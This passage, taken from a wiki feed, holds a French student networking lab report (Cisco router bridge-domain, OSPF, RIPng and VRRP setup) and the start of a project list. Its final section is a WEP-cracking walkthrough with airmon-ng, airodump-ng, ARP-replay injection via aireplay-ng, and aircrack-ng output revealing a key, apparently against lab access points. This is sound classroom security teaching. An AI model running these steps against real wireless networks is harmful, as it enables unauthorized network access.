&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 3e semaine====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e semaine====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2016/2017&amp;diff=34266</id>
		<title>Projets IMA5 2016/2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2016/2017&amp;diff=34266"/>
				<updated>2016-10-11T14:02:02Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Matériel nécessaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Automatisation de tests de validation d'un logiciel embarqué]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas ROJ / Maxime SZWECHOWIEZ &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P3 Chaise vibrante pour enfant sourd]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Geoffrey Piekacz &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P7 Régulation temps réel sur réseau sans fil ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Morgan OBEISSART / Vincent ROBIC &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre BOE / Thomas VANTROYS &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Conversion DC-DC à liaison AC et circuit L-C-L]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Nicolas WEGRZYN&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Philippe DELARUE&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P15 Entreprise : Développement d'une application iOS et Android ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Loïc DELECROIX / Julien JOIGNAUX &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole) / Béatrice CADET (entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P16 Réaliser deux trackers GPS permettant de suivre à distance le trajet d'un coureur ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Valentin Taffin / Alexandre Cuadros &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / Alexandre Boé (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P19 Relai Ethernet Lora ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
